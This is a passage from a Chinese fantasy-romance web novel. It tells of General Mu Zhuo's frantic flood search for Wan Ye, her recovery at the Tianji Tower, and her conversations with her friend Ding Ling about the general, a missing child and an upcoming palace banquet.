姐姐不在了。
这个念头如重锤般狠狠撞击着他的心。
他的脑海中不受控制地浮现出那道光幕,想起她在水中散开的青丝,以及自己将她推上岸时,她回望他的最后一眼。
那眼神平静得有些异样,甚至带着些许释然,仿佛已然看透了世间一切。
她为什么那样看我?
她是不是早就知道会这样?
她是不是……不要我了?
他真接受不了,她可以不爱他,甚至可以恨他,但是她不能这么死……
泪水从脸颊滑落,他感受到了从来没有过的绝望。
慕酌猛地霍然起身,身上满是泥泞的甲胄发出沉重的摩擦声,仿佛连这副铠甲都在拖着他沉入深渊。
腰间的剑还在,他死死地紧紧握住剑柄,这一回,再也不是克制。
而是那压抑不住的浓烈痛苦如决堤的洪水般泛滥。
他听见自己的心跳,咚、咚、咚像丧钟。
“她不会死。”他对自己说,声音压得极低,低到像是怕被谁听见,又像是怕被谁反驳,
“她不能死。她很厉害……”
可是说着说着,他也没有了自信。
他不顾一切地冲回府衙,靴底踏过泥泞的水洼,溅起浑浊的水花。
雨水顺着他湿透的发丝滑进眼角,他也不曾抬手去拭,只是死死盯着前方,仿佛只要他跑得够快,就能把死亡甩在身后。
府衙门前,几名将士正在清理淤塞的水道。
见到他浑身湿透、面色铁青地奔来,皆是一愣。
“将军”
“给我去找!”他的声音劈开雨幕,如裂帛,如断刃,“掘地三尺也要把她找出来!”
他红着双眼,像一头发疯的猛兽。雨水顺着他的下颌滴落,滴在甲胄上,滴在剑柄上,滴在他紧握成拳的指缝间。
“不论付出什么代价,活要见人……”
他的声音忽然顿住。喉结滚动了一下。
“……死要见尸。”
最后四个字,像是从胸腔里生生剜出来的,带着血。
在他的严令下,所有能抽调的人手纷纷出动,在这片洪水肆虐后的狼藉之地展开了地毯式的搜寻。
慕酌自己更是不顾疲惫与危险,穿梭在大街小巷、废墟之间,不放过任何一个可能的角落。
他完全不顾自身安危,哪怕脚下是摇摇欲坠的断壁残垣,哪怕前方是随时可能再次坍塌的建筑,他都毫不退缩。
他在废墟间踉跄前行,雨水模糊了视线,他便用袖子狠狠抹一把,继续翻找。
“姐姐”
他终于喊出了声。那声音嘶哑,像是被砂石磨过,在空荡荡的街巷间回荡,却没有得到任何回应。
只有雨,依旧不知疲倦地落着。
有将士担忧地劝道:“将军,您这样太危险了,还是让我们来就好……”
话未说完,便被慕酌恶狠狠地瞪了回去。他眼眶泛红,眼底的血丝如蛛网般密布,像是几天几夜不曾合眼。
“都给我闭嘴!”
他的声音不大,却像淬了冰。
“找不到她……”
他顿了顿,喉间涌上一股腥甜,被他生生咽了回去。
“我要你们所有人都陪葬。”
他说这话时没有看任何人。他只是在陈述一个事实,平静得令人胆寒。
随着时间的推移,依旧没有宛楪的半点消息。
慕酌的情绪愈发失控,他的杀意愈发浓烈,仿佛整个世界都成了他的敌人。
他回到府衙。洪水虽已渐渐平息,可街巷里却覆满了厚厚的淤泥,浮尸与朽木横七竖八地陈放在各处,一片惨不忍睹的景象。
有人匆匆迎上来禀报,说大坝是被人恶意损毁的,如今已查到了一些蛛丝马迹,正在全力缉凶。
慕酌听着那些字句,却仿佛隔了一层厚厚的水幕,声音只是浮在耳畔,怎么也沉不进心底。
凶手?
找到凶手又能怎样?
她回不来了。
此刻,他的满脑子只有宛楪。
她不该死在这里。
她不该死在这样肮脏不堪的洪水里。
她不该。
“她不该……”
他听见自己的声音,很轻,轻得像落在水面上的一片枯叶,转瞬便被吞没。
客栈里弥漫着潮湿发霉的味道,让人闻之欲呕。
暮色四合,檐下的灯笼还未点起,走廊里幽暗得如同深邃的甬道,透着一股阴森的气息。
脚下的木板在他经过时发出吱呀的呻吟,像是有什么东西埋在这栋老宅的骨骼里,不肯安息。
有人小心翼翼地凑上来,试探着问道:“将军,那位、那位救人的姑娘可安好?”
慕酌脚步猛地一顿。
他侧目,恰在此时,烛火被点亮,昏黄的光从门缝里漏出,落在他半张脸上,将他的眉眼映成一道冷峻的剪影。
那光也照亮了他的手正一寸寸握紧剑柄,骨节泛白,隐隐透出血丝,仿佛在诉说着主人内心的愤怒。
“安好?”
他重复着这两个字,声音像是从牙缝里挤出来的。
“你问我她可安好?”
他向前逼近一步。那人吓得后退,背脊撞上冰冷的墙壁,发出沉闷的一声。
“我亲眼看着她被洪水卷走,”慕酌的声音低下去,低到几乎成了耳语,“我亲手把她推上岸,以为她能活……”
他忽然不说了。
喉间像是被什么堵住,梗得生疼。
他明明把她推上去了,为什么?为什么还要跳下来?
她要是真的是神仙,她是神仙吗?
对,对,说不定,
说不定这世界上真的有神鬼之说,她真的没死。
来人见状,吓得立刻噤声,连呼吸都放轻了。
又一人鼓起勇气上前,斟酌着字句说道:“听闻那姑娘的家人来接她了,还没走呢……”
慕酌倏然回身。那动作快得像是被什么狠狠刺了一下。
“你说什么?”
他的眼底骤然燃起一簇火,却又在下一个瞬间剧烈地颤动起来那火太烈,灼得他自己都疼。
“她……没死?”
这句话他说得很慢,一字一顿,像是在确认,又像是在哀求。
那人被他看得头皮发麻,声音颤抖着说道:
“可、可属下亲眼见她被洪水冲走……这、这……”
“你亲眼?”
慕酌打断他,声音陡然拔高,“你亲眼看见她沉下去了?你亲眼看见她闭上眼睛了?你亲眼”
他没能说下去。
那个“死”字,他无论如何也说不出口。
他猛地转身,大步离去。靴底踏在木板上,发出沉重而急促的声响,像擂鼓,像催命的节拍。
他猛地推开房门。
烛火被气流吹得剧烈摇曳,在墙壁上投下憧憧鬼影,仿佛也在为他的愤怒而颤抖。
火舌疯狂地舔舐着灯芯,忽明忽暗,将他映成一道忽隐忽现的幽魂。
他站在屋子中央,沉默了片刻。
太静了。
静得他能听见自己的心跳,咚、咚、咚每一声都在提醒他:她还活着。她可能还活着。她
“她还活着……”
他喃喃着,声音却忽然变了调。
然后他猛地挥臂扫落案上的茶盏。
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瓷片四溅,清脆的响声如裂帛般划破寂静,在房间里回荡,又像是什么东西碎裂的回声也许是他一直绷着的那根弦。
他一脚踢翻圆凳。木腿断裂,发出刺耳的咔嚓声。
他双手扯下帷幔。布料撕裂,声音尖锐而绵长,像一声压抑太久的哭喊。
铜盆也被碰倒在地,哐啷巨响,在狭小的房间里反复撞击着墙壁。
一时间,一室狼藉。碎片与布帛杂乱地堆叠在一起,如同他此刻无从宣泄的愤怒与悲怆。他胸膛剧烈起伏,每一次呼吸都像是从胸腔里生生撕扯出来的。
喉间压抑着低哑的嘶声,一字一字从齿缝间挤出:
“那些刺客怎么还不来”
他的声音在空荡荡的房间里回响,像困兽的嗥叫。
“怎么还不来杀我”
泪水几乎决堤,糊满了他整张脸,看的东西慢慢变得重影,倒像是被雾蒙上一样,看不见。
他垂头,烛光在他眼底投下一片深不见底的阴影,隔着泪水,真是刺眼。
他的声音忽然低下去,近乎呢喃,像是在对自己说,又像是在质问这个世界,带着痛哭之后的抽噎和绝望:
“……我正好杀了他们解气。”
可他的语气里没有杀意了。
只有疲惫。只有空洞。只有连愤怒都无法填满的巨大虚无。
他站在那里,四周是满地狼藉,他的影子被烛火拉得很长,歪歪斜斜地投在墙壁上,像一具没有重量的空壳。
她没死。
她真的没死吗?
还是……只是那些人看错了?
这个念头一浮现,他的手指便不自觉地攥紧了。指甲嵌进掌心,疼,但他没有松手。他需要这点疼来确认自己还活着。
他垂着眼,不知在想些什么。喘息渐渐平息,余烬却仍未熄灭。
然后,他感觉到有东西从自己身上滑落。
轻飘飘的,像一片羽毛。
低头看去,一张纸条正静静躺在碎瓷与布帛之间,边缘沾了一点烛泪,温热的,还未凝固。仿佛在等待着他的发现,又仿佛早已等了他很久很久。
慕酌缓缓弯腰拾起。
他的动作很慢,慢得像是在进行某种仪式。指尖触到纸缘的瞬间,他微微顿了一下那纸被他汗湿的掌心洇得有些皱了,边缘微微卷起。
他展开纸条。
烛火在这一刻忽然稳了下来,不再摇曳,静静地映亮那四个字。
平安,勿念。
简简单单的四个字,是她惯常的笔迹,纤细清瘦,收锋利落,就像她本人一样,简洁而坚定。
他看了很久。
烛泪一滴一滴地落下来,在灯盏边缘凝成小小的山丘。
窗外雨声渐渐停歇,檐角最后一滴积水悄然坠落,啪嗒一声,碎在青石板上。那声音轻极了,却在这间寂静的屋子里格外清晰。
慕酌捏着那纸条,指尖慢慢收紧,又缓缓松开,怕揉皱了它。
他低下头,额头几乎要抵上那泛黄的纸缘。
“……平安。”
他轻声重复着这两个字,声音低得像怕惊扰了谁的梦。
“勿念。”
他的喉结滚动了一下。
烛火在他脸上投下明暗交织的光影,他仍是那副冷淡的神情,只是眼底的戾气,终于一寸寸淡了下去。
取而代之的,是一种说不清的东西。像干涸龟裂的土地上,落下的第一滴雨。
他将纸条缓缓折起,动作轻得像在捧一片初雪。然后小心翼翼地贴胸收入衣襟,贴近心口的位置那里,心脏正一下一下地跳着。
咚。咚。咚。
不再是丧钟。
烛火摇曳,光影在他脸上闪烁不定。他依然站在满地狼藉的中央,四周是碎裂的瓷片、扯落的帷幔、翻倒的圆凳。
可他的肩背,终于松了下来。
他垂着眼帘,指尖隔着衣襟轻轻压住那张纸条。
窗外,云层裂开一道细缝,有月光漏下来,薄薄的,清清冷冷的,落在窗棂上。
像是一声遥远的、无声的回应。
113. 新角色
宛楪悠悠转醒,最先感知到的,是那萦绕在鼻尖的熟悉气息。
檀木的淡雅香气,混合着一丝若有若无的笔墨清苦,让她仿佛置身于一片静谧的山林书房。
身下的床榻柔软得恰到好处,绝非凡间那些硌人的硬板可比,而是絮了天山雪蚕丝的精致床铺。
她还记得当年,自己还曾嫌丁灵铺张浪费,如今躺上去,却真切地感受到了这份极致的舒适。
她缓缓睁开双眼,映入眼帘的,是熟悉的藻井。
藻井之上,绘着精妙绝伦的星宿图,二十八宿在她头顶缓缓流转,这既是神秘的阵法,亦是绝美的装饰。
她知道,自己回到了天机楼。
“哟,可算醒了?”
一道清脆的声音从旁侧传来,带着三分俏皮、七分关切。
宛楪微微偏过头,便瞧见丁灵正坐在床边的小几旁,手中捧着一盏茶,正似笑非笑地望着她。
丁灵,南国天机楼的楼主,她的至交好友,也是这世间为数不多能让她毫无保留放下戒备的人。
“……丁灵。”宛楪轻声开口,声音略带沙哑。
“别动别动,”丁灵赶忙放下茶盏,凑到近前,伸手轻轻探了探她的额头,“亏得你底子厚实,换作旁人,像你这般亏空,早不知投胎几遭了。”
宛楪并未躲闪,任由她动作。
丁灵探完,收回手,脸上依旧挂着那副笑嘻嘻的神情,只是眼底多了些难以掩饰的心疼与无奈。
“说说吧,”她重新端起茶盏,翘起二郎腿,好奇地问道,“这段时间跑哪儿疯去了?”
宛楪沉默了片刻。
去哪儿了呢?
那些如潮水般的画面在她脑海中汹涌而过——肆虐的洪水、泥泞的大地、满目疮痍的废墟,还有那一双布满血丝、透着绝望与执着的眼睛。
“遇见了一些事。”她的回答很简略,“北国那边,有个影妖兴风作浪,我便去瞧了瞧。”
“影妖?”丁灵微微挑眉,眼中满是诧异,“什么影妖竟能把咱们堂堂南国圣女伤成这般模样?”
宛楪没有回应,只是微微垂下眼眸:“还遇见了……一些人。”
丁灵敏锐地眯起双眼,细细打量着她。
这语气,可不寻常。
她太了解宛楪了。这位好友平日里清冷寡淡,恰似一杯澄澈的白水,无论谈及何事,总是一副云淡风轻的模样,何曾用过这般欲言又止的口吻?
“什么人?”她单刀直入地问道。
宛楪沉默了一瞬。
“一个将军。”她终于缓缓说道。
丁灵的眉挑得更高了。
“将军?”她重复着这几个字,仿佛听到了什么新奇有趣的事儿,“你跑北国,还去招惹什么将军?那些粗莽武夫,有什么值得你去见的?”
宛楪没有理会她的调侃,只是抬起眼眸,静静地望着她。
“你知道他吗?”
丁灵微微一愣。
“谁?”
“慕酌。”宛楪说出这个名字时,语气平淡,仿佛只是在陈述一件再平常不过的事,“那个将军。”
丁灵眨了眨眼,随即轻轻笑了。
那笑容意味深长。
“慕酌啊——”她故意把尾音拖得长长的,“知道。怎么会不知道?京城里但凡有些待字闺中的姑娘,怕是没几个不知道这位的。”
宛楪凝视着她,静静等待下文。
“这位可算得上是个奇人,”丁灵放下茶盏,掰着手指头娓娓道来,
“他本是科举出身,实打实的状元郎,文章写得那叫一个文采斐然,花团锦簇。可谁能想到,咱们那位陛下不知打的什么主意,偏要把他派去打仗。”
说到这儿,她不禁嗤笑一声。
“文官去干武将的活儿,说是重视文官吧,又似乎舍不得他的才学;说是委以重任吧,却把他派到那些九死一生的地方。京城里都传言,陛下这是想让他死在前线呢。”
宛楪的眉头微微动了动,几不可察。
“结果呢?”丁灵摊开双手,神色中带着几分惊叹,
“人家不仅没死,还把丢失的城池一座座夺了回来。戎王都亲自上书请封,陛下即便心里不情愿,也只能捏着鼻子认了。就这么着,状元郎摇身一变成了慕将军。”
她稍作停顿,似笑非笑地看着宛楪。
“京城里的姑娘们,听闻他的才名,都盼着能嫁给他;可又听说他杀人不眨眼,残忍嗜杀,吓得又不敢嫁。这么一号人物,你是怎么遇上的?”
宛楪没有回应这个问题。
她只是微微垂下眼,似乎陷入了沉思。
丁灵看着她的神情,心中“咯噔”一下。
不对劲。
太不对劲了。
她不动声色地凑近了些,紧紧盯着宛楪的眼睛,压低声音问道:“你该不会是……喜欢上他了吧?”
宛楪抬起眼眸,平静地看了她一眼。
那一眼波澜不惊,仿佛在看一个说着荒诞之言的人。
“只是同行了一段路而已。”
“哦——”丁灵拉长了声音,语调中带着一丝怀疑,“同行了一段路,就能让你在我这儿人事不知地躺了三天?”
宛楪没有接话。
丁灵看着她这副模样,心中那股不安愈发浓重。
她不由自主地想起了一些往事。
想起很多年前,自己也曾遇见一个人。那是一个凡间的男子,生得英俊潇洒,说起话来温柔动听,笑起来的时候,眼睛弯弯的,好似藏着一汪盈盈春水。
后来呢?
后来那人知晓了她的身份,吓得跪在地上,浑身颤抖如筛糠,只求她饶命。
再后来,她亲手将他埋葬。
丁灵强行收回思绪,脸上重新挂起笑容,只是那笑意并未抵达眼底。
“我跟你说,”她端起茶盏,语气看似轻松随意,“这位慕将军,我可打听过。科举状元,那是文曲星下凡的命格;沙场浴血,又带着杀神的命数。这两种命格凑在一个人身上,你猜猜会怎样?”
宛楪静静地望着她。
“是煞星。”丁灵轻抿一口茶,缓缓说道,“克父克母克妻克子,谁沾上谁倒霉。”
宛楪依旧没有说话。
丁灵放下茶盏,再次凑近,脸上挂着看似无害的笑容,眼神却透着认真:“你要是真对他有意思,我帮你把他绑来便是。”她的语气轻描淡写,仿佛在谈论今天的天气,“天机楼别的不敢说,人手还是充足的。绑过来给你做男宠,养在楼里,你想什么时候看就什么时候看,不比你在外面东奔西跑省事?”
宛楪刚端起手边的茶盏喝了一口,听到这话,险些被呛住。
她轻咳几声,放下茶盏,抬眼看向丁灵。
“不必。”
丁灵眨眨眼:“真不必?”
“不必。”
“那好吧。”丁灵耸耸肩,重新靠回椅背,“难得我一番好意。”
宛楪没有理会她,只是微微垂下眼,望着盏中浮沉的茶叶,不知在思索着什么。
丁灵也不再言语,只是静静地注视着她。
看着她垂眸的模样,看着她微微抿起的唇角,看着她那副明明心事重重,却偏要装作若无其事的样子。
像极了当年的自己。
丁灵缓缓移开目光,端起茶盏,又喝了一口。
茶水已然有些凉了,苦涩在舌尖蔓延开来。
“对了,”她放下茶盏,语气恢复到平常的轻快,“你这身子,究竟是怎么回事?”
宛楪抬起眼眸。
“我查探过你的脉象,”丁灵微微皱眉,神情中满是担忧,“亏空得太厉害了。这绝不是一场简单的打斗能造成的。你到底做了什么?”
宛楪沉默了一会儿。
“我失忆了一段时间。”
丁灵微微一愣。
“失忆?”
“嗯。”宛楪轻轻点头,“醒来时,发现自己竟成了北国的神女。从失忆到清醒,约莫有将近两个月,可这期间的事,我一点记忆都没有。”
丁灵的眉头皱得更紧了。
“一点都没有?”
“一点都没有。”
“那你这亏空……”
“听旁人说,”宛楪稍作停顿,缓缓说道,“我那段时间,眼睛一直是红色的。”
丁灵的脸色瞬间变了。
红瞳。
那绝非寻常的状态。
“怎么回事?”她的语气变得严肃起来,“你仔细讲讲。”
“我想,可能是因为缺少了真身。”宛楪的声音很平稳,却隐隐透着一丝忧虑,“本源不稳,就容易被侵扰。”
“真身?”丁灵立刻坐直身子,神色急切,“你的真身呢?去哪儿了?得赶紧去找回来啊!”
宛楪没有回应。
她只是静静地垂着眼,凝视着盏中渐渐沉底的茶叶,仿佛那茶叶里藏着无尽的秘密。
丁灵盯着她看了许久,忽然像是明白了什么。
“……跟那个人有关?”
宛楪依旧没有回答。<
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p>然而,这份沉默本身,便是一种回答。
丁灵深吸一口气,又缓缓吐出。
她心中有千言万语,有无数问题想要追问,有诸多复杂的情绪想要宣泄。
但最终,她只是靠回椅背,仰头望着藻顶上缓缓流转的星宿,沉默了良久。
随后,她缓缓开口,语气平淡却带着几分凝重:
“你知道这片大陆,在创世之初发生过什么吗?”
宛楪抬起眼眸。
“什么?”
“天地初开之时,万物蓬勃滋生,本是一片祥和之景。”丁灵的声音轻柔,仿佛在诉说一个古老而遥远的故事,“但后来,不知发生了何事,具体缘由已无人知晓。只知道自那之后,世间便多了一样东西。”
她微微停顿。
“怨气。”
宛楪的眉头微微蹙起。
“极为强大的怨气,”丁灵继续说道,“若是凝聚成实质,便会幻化成怪物;倘若侵入人心,就能使人堕入魔道。你缺少真身,本源不稳……”
她没有把话说完。
但宛楪已然领会。
“你是说,那两个月……”
“只是猜测。”丁灵摆了摆手,“但也并非毫无可能。你说你与影妖交过手——那东西,本就是由怨气凝聚而成。沾上它,被怨气侵扰几分,倒也说得通。”
宛楪轻轻点了点头。
“不过话说回来,”丁灵像是突然想起什么,好奇地问道,“什么影妖能把你伤成这样?你可不是一般人呐。”
“那影妖颇为古怪,”宛楪神色平静,缓缓说道,“它拥有领域,而且力量极强。”
她稍作停顿,似乎想起了一些不愉快的回忆。
“北国向来喜好炼制邪术,药人、傀儡人、蛊术……可谓是层出不穷。”
她抬眼看向丁灵。
丁灵与她目光交汇,微微一愣,随即明白了她的意思。
“你是说——那影妖,是利用了人的怨气?”
宛楪点了点头。
丁灵沉默了片刻,缓缓说道:“倒确实像是那些邪修会干的事。”
说完,她突然伸出手,搭上宛楪的腕脉。
宛楪没有躲避。
丁灵凝神探查了片刻,脸色愈发难看。
许久,她收回手,望着宛楪,眼神中满是复杂的情绪。
“就为了那些凡人,”她的声音略带苦涩,“你把自己折腾成这个样子?”
宛楪没有回应。
“你知道我派人去找你的时候,看到了什么吗?”丁灵紧紧盯着她,“在洪河口,你躺在地上,旁边还躺着一个男人。就是你刚才提到的那个将军?”
宛楪轻轻点了点头。
“正好碰见的。”
“正好?”丁灵忍不住嗤笑一声,“你那会儿的状况,说实话,离死也就差那么一口气了。要不是我的人及时赶到,你现在恐怕还在那河滩上躺着呢。”
宛楪沉默不语。
“我就想不明白,”丁灵的声音渐渐低下去,像是在喃喃自语,又像是在质问她,“那些凡人,值得你这样吗?他们能记得你几分好?能感念你几分情?到头来,不过是一场空罢了。”
宛楪缓缓抬起眼眸,静静地望着她。
她知道丁灵在说什么。
知道她想起了曾经的过往。
知道那些话,与其说是在问她,不如说是丁灵在质问当年的自己。
“只是看他们太可怜了。”她轻声说道。
丁灵微微一怔。
随后,她轻轻笑了,笑容中透着一丝苦涩。
“可怜……”她低声重复着这两个字,缓缓摇了摇头,“你呀……”
她没有再说下去。
窗外,微风轻轻吹过,带着雨后独有的清新湿润气息。
宛楪微微垂下眼,忽然感到一阵倦意袭来。
“我头疼。”她说,“想休息一会儿。”
丁灵看着她,目光中满是心疼与无奈。
她知道宛楪并非真的头疼。
但她什么也没有说,只是轻轻站起身,细心地替她掖了掖被角。
“睡吧。”她温柔地说道,“我在这儿守着你。”
宛楪缓缓闭上双眼。
丁灵静静地站在原地,凝视着她安静的眉眼,许久都没有动弹。
窗外,云层悄然裂开一道细缝,月光如水般倾泻而下。
清清冷冷的月光,洒落在窗棂之上。
丁灵轻轻叹了口气。
——傻姑娘。
114. 不承认的喜欢
她缓缓转身,移步至窗边,慵懒地倚着窗框,目光投向外面渐渐散去的云层。夜风轻柔地拂过她的发丝,带着雨后泥土特有的清新气息,萦绕在她的鼻尖。
遥想当年,她于极寒之地生根发芽,那时的她,不过是一株藤茎蔓妖,单纯懵懂,只晓得追寻阳光的方向奋力生长,心中唯一的念头便是活下去,并且活得更为长久。
后来,她遇见了那个人。
再后来,她却亲手将他埋葬。
丁灵微微垂下眼眸,注视着自己纤细的手指。这双手,曾沾染过无数人的鲜血,也拯救过许多人的性命。但归根结底,她最为擅长的,是在各方势力之间巧妙周旋,游刃有余。
天机楼,是她耗尽心血一手打造而成的情报王国。
在这里,情报、消息与秘密,如同锋利的刀剑,又似致命的毒药,其威力远胜任何武器。
她深谙此道,所以更能体会到,宛楪这一趟行程,究竟冒了多大的风险。
翌日。
明媚的阳光透过雕花窗棂的缝隙,丝丝缕缕地洒落,在地面上投射出细碎而斑驳的光影,宛如一幅精致的画卷。宛楪悠悠转醒,此时丁灵正闲适地坐在窗边的小几旁,手中捧着一卷竹简,专注地阅读着。听到动静,她抬起头,目光迎向宛楪。
“醒了?”
宛楪轻轻点头,微微撑起身子坐了起来。经过一夜的沉睡,她的精神明显好了许多,气色也恢复了几分。
丁灵放下手中的竹简,端起一盏温热的茶,款步走到床边,递向宛楪。
“昨儿看你睡得深沉,没敢打扰你。”她在床边坐下,神色略显郑重,“不过有些话,还是得跟你讲一讲。”
宛楪接过茶盏,目光平静地望着她。
“你这一趟的经历,”丁灵微微顿了顿,嘴角泛起一丝浅笑,似是在笑谈,又像是在感慨,“还真是精彩纷呈啊。”
宛楪没有回应,只是低下头,轻轻抿了一口茶,热气氤氲,模糊了她的面容。
“对了,”丁灵像是突然想起了什么,神色瞬间正经起来,“你一直在寻找的那个小孩,我这边有线索了。”
宛楪手中的动作陡然停顿,原本平静的目光骤然变得锐利而专注。
“什么线索?”
丁灵看着她这般模样,心中暗自叹息。
这么多年过去了,她对那孩子的牵挂,丝毫未减。
“当年确实有人目睹那孩子被一个老伯伯带走,”她缓缓说道,语气沉稳而清晰,“从孩子的反应来看,他似乎是认得那个人的。”
宛楪的指尖不自觉地微微收紧,显示出她内心的紧张。
“然后呢?”
“然后——”丁灵略微停顿,神情变得凝重,“据说那孩子是要回你们从前居住的地方。然而不知为何,后来所有知晓这件事的人,都惨遭杀害。”
宛楪的眉头紧紧蹙起,眼神中透露出一丝忧虑。
“包括当时那孩子落脚的那间客栈,”丁灵的声音低沉下去,仿佛带着无尽的惋惜,“一场大火突如其来,将其烧得干干净净。火势迅速蔓延,连带着你们从前住的那一片区域……都化为灰烬。”
宛楪握着茶盏的手愈发用力,指节微微泛白,显然内心受到了极大的触动。
原来如此。
难怪当初她回去时,看到的只有一片荒芜的废墟。
“至于背后的原因究竟是什么,”丁灵无奈地摇了摇头,“我追查了这么多年,依旧毫无头绪。下手的人手段极为干净利落,没有留下任何蛛丝马迹。”
宛楪陷入了长久的沉默,茶水升腾起的热气袅袅而上,朦胧了她的眉眼,让人看不清她此刻的神情。
“我在北国的时候,”她忽然打破沉默,声音很轻,却带着一丝不容置疑的坚定,“听闻过一种术法。”
丁灵微微挑眉,目光中透露出好奇,静静地看着她。
“换脸之术。”
丁灵的眉梢轻轻扬起,脸上露出惊讶之色。
“换脸?”
“嗯。”宛楪肯定地点点头,“这种术法能够彻底改变一个人的容貌,使其变成另一个人的模样。听说北国的皇室曾运用此术,将一些人隐匿起来,或者……送出去。”
她抬起眼眸,目光灼灼地望向丁灵。
“有没有可能,那个孩子……也使用了这种术法?”
丁灵沉默了片刻,随后缓缓靠向椅背,手指下意识地轻轻敲击着扶手,陷入了沉思。
“你仔细说说。”
宛楪于是将那日在北国所听闻的事情,原原本本地讲述了一遍。包括那位皇子的语气,提及“过于周正”“年龄不符”的言辞,以及那些隐隐约约、若有若无的暗示。
丁灵听完,沉思了许久,脸上的表情变幻莫测。
“这么说来,”她缓缓开口,声音沉稳而冷静,“那孩子如今的样子,反倒可能是他原本的面貌?”
宛楪再次点头,眼神中透露出一丝笃定。
“如此,他当时的模样,便是刻意伪装的了。”
丁灵轻轻嗤笑一声,嘴角勾起一抹意味深长的弧度:“这可就有意思了。”
宛楪疑惑地望着她,眼中满是不解。
“为什么要让一个小孩子伪装成那副模样?”
丁灵转过头,望向窗外透进来的明媚阳光,眼神显得有些淡漠,仿佛在思考着什么。
“因为有人想要藏起他呗。”
她的语气轻描淡写,仿佛在谈论一件稀松平常的事情。
“一旦身份暴露,他可能就性命不保。”
宛楪微微垂下眼眸,脑海中忽然浮现出另一个人的身影。
那些刺客,以及一次又一次针对他的刺杀行动。
那些人似乎一心想要他的性命,却又总是让他侥幸逃脱,仿佛是在“磨练”他一般。
“磨练”?
她反复思索着这个词,眉头不禁微微蹙起,心中充满了疑惑。
丁灵看着她这副若有所思的模样,忍不住轻笑出声。
“我说,”她微微凑近,目光紧紧盯着宛楪的眼睛,带着一丝调侃,“自从你回来之后,就好像心事重重的样子。怎么,这一趟出去,把魂儿都丢在外面啦?”
宛楪抬起眼眸看向她,却没有回应她的调侃。
丁灵也不再追问,只是悠然地靠回椅背,慢悠悠地说道:“这次要不是我的人及时找到你,真不知道会发生什么。洪河口那地方,荒郊野外的,你要是躺在那儿无人问津……”
她没有把话说完,只是轻
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轻摇了摇头,流露出一丝担忧。
宛楪微微垂下眼,轻声说道:“多谢。”
“谢什么呀,”丁灵满不在乎地摆摆手,脸上露出狡黠的笑容,“你要是真的想谢我,等你下次法力恢复了,多给我攒几片花瓣就行。”
宛楪微微一愣,眼中闪过一丝疑惑。
“你的花瓣可是个宝贝,”丁灵笑眯眯地解释道,“既能救人,又能续命,简直是可遇不可求。我之前攒的那几片,早就用完啦。”
宛楪点点头,应道:“好。”
丁灵满意地笑了笑,随后像是又想起了什么,突然拍了拍手。
“对了,还有件事儿。”
宛楪疑惑地看着她。
“京城那边,最近要举办一场春日游园宴。”丁灵的语气中带着几分看热闹的兴致,“说是为了给打了胜仗的将士们接风洗尘,庆祝失地收复之类的。听说宴会上还会有赛诗、赛马、赛箭术等活动,场面肯定热闹非凡。”
她微微停顿,目光笑眯眯地落在宛楪身上。
“你想去看看吗?”
宛楪微微垂下眼,语气平淡地说道:“不想。和以前一样。”
丁灵耸耸肩,对此并不意外。
她早就习惯了这位姐姐向来不喜欢热闹的性子。
她正准备开口说些别的,却见宛楪忽然抬起眼眸,像是突然想起了什么。
“……不过,”宛楪微微顿了顿,“去凑凑热闹,倒也不是不行。”
丁灵微微眨了眨眼,眼中闪过一丝惊讶。
她先是愣了一瞬,随后缓缓眯起眼睛,意味深长地望着宛楪。
“你——确定?”
宛楪垂下眼,端起茶盏轻抿了一口,没有看向丁灵。
丁灵盯着她看了许久,忽然开口:
“你真的不喜欢那个人?”
宛楪手中的动作微微一顿,茶盏边缘轻轻抵着嘴唇,她沉默了片刻,然后缓缓偏过头,望向窗外。
阳光洒落在她的侧脸上,勾勒出一道清冷而绝美的轮廓,宛如一幅静谧的画。
“人和妖相恋,”她的声音清淡而平静,仿佛在陈述一个既定的事实,“又能有什么好结果呢。”
丁灵没有说话,只是静静地看着她。
宛楪依旧静静地望着窗外,像是在自言自语,又像是在对丁灵解释。
“我不喜欢他。”
她微微顿了顿,语气中带着一丝不自然,仿佛在努力说服自己。
“只不过……是因为那个人长得太好看了。”
丁灵依旧没有回应,只是默默地靠回椅背,端起自己的茶盏,轻轻吹去浮沫。
茶香袅袅升腾,模糊了她的眉眼,让人看不清她此刻的表情。
她没有拆穿宛楪。
因为当年,她也曾用类似的话语欺骗过自己。
——只是因为他笑起来好看。
——只是因为他说话温柔。
——只是……
只是什么呢?
只是后来,她亲手将那个人埋进了冰冷的土里。
丁灵微微垂下眼眸,轻轻喝了一口茶。
茶水已然微凉,带着些许苦涩的味道在舌尖蔓延开来。
窗外,春光正好,一片明媚。
115. 暧昧,苦涩。
天机楼的晨光总是抢先一步,早早地漫入视野。
宛楪静立于窗前,凝望着东方天际渐次泛起的鱼肚白,思绪似被那缕曙光悄然牵起,飘向不知名的远方。
身后传来一阵轻柔的叩门声,是丁灵身旁的小妖婢,她莲步轻移,手中捧着一套衣裳款步而入。
这衣裳是丁灵特意吩咐的,说是赴宴得穿着得体,尽显体面。
宛楪低头端详着这套衣裳,青绿色的色调,正是她平素钟爱的颜色。
而这料子,绝非凡间所能见到的寻常之物,乃是南国独有的云锦,在光线的轻抚下,隐隐流转着如水波般灵动的纹路,如梦如幻。
“楼主说,”小妖婢微微垂首,声音如同丝线般纤细,“姑娘若去赴宴,便以天机楼客卿的身份前往。昔年咱们楼里曾出过一位国师,与皇室素有旧交,这点面子还是有的。”
宛楪微微颔首示意。
待小妖婢退下后,她独自伫立了片刻,伸出手,轻轻抚过衣裳的料子,指尖感受着那细腻的触感。
天机楼客卿,这身份倒颇为实用,既能避免应付那些繁琐的寒暄,又无需周旋于一众贵女之间。
她的思绪不禁飘回到昨日丁灵的那番话——
“你真的不是喜欢那个人?”
当时,她偏过头,望向窗外倾洒的阳光,只道人和妖相恋,终究难有善果。
她坚称自己不喜欢他,不过是因那人长相太过出众罢了。
宛楪缓缓垂下眼眸,指尖不自觉地微微收紧。
从洪河口至京城,纵马疾驰也需七八日的行程。慕酌是三日前抵达京城的。
彼时,京城刚刚经历一场春雨的洗礼,青石板路被洗刷得光亮照人,街边的柳树已抽出嫩绿的新芽,那一抹抹嫩绿肆意张扬,直晃得人眼有些眩晕。
当他骑着马从城门缓缓进入时,两侧的百姓纷纷驻足观望,窃窃私语的声音此起彼伏。
“那便是慕将军?”
“听闻他杀人不眨眼……”
“呸,你懂什么,人家可是状元及第,本是舞文弄墨的,持剑杀敌不过是……”
“不过是什么?”
“不过是形势所迫罢了。”
慕酌听着这些议论,神色依旧波澜不惊,仿佛这些话语与他毫无关联。
他早已对这般议论习以为常。
